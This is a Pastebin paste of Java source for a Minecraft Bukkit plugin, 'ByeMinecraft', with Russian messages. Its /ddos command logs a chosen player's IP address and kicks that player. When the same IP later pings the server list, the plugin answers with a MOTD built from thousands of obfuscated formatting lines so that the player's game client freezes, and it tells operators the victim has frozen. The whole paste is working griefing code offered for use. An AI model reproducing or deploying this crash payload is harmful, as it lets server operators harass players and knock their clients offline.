Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package de.sanyaxuisosi;
- import org.bukkit.plugin.java.*;
- import java.util.*;
- import org.bukkit.entity.*;
- import org.bukkit.*;
- import org.bukkit.event.*;
- import org.bukkit.plugin.*;
- import org.bukkit.command.*;
- public class ByeMinecraft extends JavaPlugin
- {
- public static ByeMinecraft instance;
- private HashMap<String, String> crashedPlayers;
- public final String PREFIX;
- static {
- ByeMinecraft.instance = null;
- }
- public ByeMinecraft() {
- this.crashedPlayers = new HashMap<String, String>();
- this.PREFIX = ChatColor.RED + "[\u0414\u0414\u041e\u0421\u0418\u041b\u041a\u0410]" + " " + ChatColor.YELLOW;
- }
- public HashMap<String, String> getCrashedPlayers() {
- return this.crashedPlayers;
- }
- public void sendMessage(final Player p, final String message) {
- p.sendMessage(String.valueOf(this.PREFIX) + message);
- }
- public void onEnable() {
- ByeMinecraft.instance = this;
- Bukkit.getPluginManager().registerEvents((Listener)new PingListener(), (Plugin)this);
- }
- public boolean onCommand(final CommandSender sender, final Command command, final String label, final String[] args) {
- if (sender instanceof Player) {
- final Player p = (Player)sender;
- if (command.getName().equalsIgnoreCase("ddos")) {
- if (p.isOp()) {
- try {
- final Player victim = Bukkit.getPlayer(args[0]);
- final String adress = victim.getAddress().getAddress().getHostAddress();
- this.getCrashedPlayers().put(adress, victim.getName());
- this.sendMessage(p, "§f\u0421\u043a\u0430\u0436\u0438\u0442\u0435 \u0438\u0433\u0440\u043e\u043a\u0443§c " + victim.getName() + "§f: \u041f\u043e\u043a\u0430 §c:)");
- this.sendMessage(p, "§c\u041e\u0441\u043d\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u043f\u043b\u0430\u0433\u0438\u043d\u0430: §fИмперия Крабов");
- Bukkit.getScheduler().runTask((Plugin)this, (Runnable)new Runnable() {
- @Override
- public void run() {
- String kickMessage = "";
- for (int i = 0; i < 70; ++i) {
- kickMessage = String.valueOf(kickMessage) + "\n";
- }
- kickMessage = String.valueOf(kickMessage) + "\u0414\u043e \u0421\u0432\u0438\u0434\u0430\u043d\u0438\u044f\n\n";
- kickMessage = String.valueOf(kickMessage) + "|_| |_|\n";
- kickMessage = String.valueOf(kickMessage) + "| | /---\\ | |\n";
- kickMessage = String.valueOf(kickMessage) + "| |_ (| \"o\" |) _| |\n";
- kickMessage = String.valueOf(kickMessage) + "| | | | _ (_---_) _ | | | |\n";
- kickMessage = String.valueOf(kickMessage) + "| | | | |' | _| |_ | `| | | | |\n";
- kickMessage = String.valueOf(kickMessage) + "| | / \\ | |\n";
- kickMessage = String.valueOf(kickMessage) + "\\ / / /(. .)\\ \\ \\ /\n";
- kickMessage = String.valueOf(kickMessage) + "\\ / / / | . | \\ \\ \\ /\n";
- kickMessage = String.valueOf(kickMessage) + "\\ \\/ / ||Y|| \\ \\/ /\n";
- kickMessage = String.valueOf(kickMessage) + "\\__/ || || \\__/\n";
- kickMessage = String.valueOf(kickMessage) + "() ()\n";
- kickMessage = String.valueOf(kickMessage) + "|| ||\n";
- kickMessage = String.valueOf(kickMessage) + "ooO Ooo\n";
- for (int i = 0; i < 70; ++i) {
- kickMessage = String.valueOf(kickMessage) + "\n";
- }
- victim.kickPlayer(kickMessage);
- }
- });
- }
- catch (Exception e) {
- this.sendMessage(p, "§f\u041f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435: §c/ddos §f[§c\u0418\u0433\u0440\u043e\u043a§f]");
- }
- }
- else {
- this.sendMessage(p, "§c\u0421\u0415\u0420\u0412\u0415\u0420> §f\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0430\u0432.");
- }
- }
- }
- return true;
- }
- }
- package de.sanyaxuisosi;
- import org.bukkit.event.server.*;
- import org.bukkit.*;
- import org.bukkit.entity.*;
- import java.util.*;
- import org.bukkit.event.*;
- public class PingListener implements Listener
- {
- @EventHandler
- public void onPing(final ServerListPingEvent e) {
- if (ByeMinecraft.instance.getCrashedPlayers().containsKey(e.getAddress().getHostAddress())) {
- String result = "";
- for (int i = 0; i < 4020; ++i) {
- result = String.valueOf(result) + "§k§l\n";
- }
- e.setMotd(result);
- for (final Player user : Bukkit.getOnlinePlayers()) {
- if (user.isOp()) {
- ByeMinecraft.instance.sendMessage(user, "\u0418\u0433\u0440\u0430 \u043e\u0442 §c" + ByeMinecraft.instance.getCrashedPlayers().get(e.getAddress().getHostAddress()) + "§f \u0437\u0430\u043c\u0435\u0440\u0437\u043b\u0430!");
- }
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement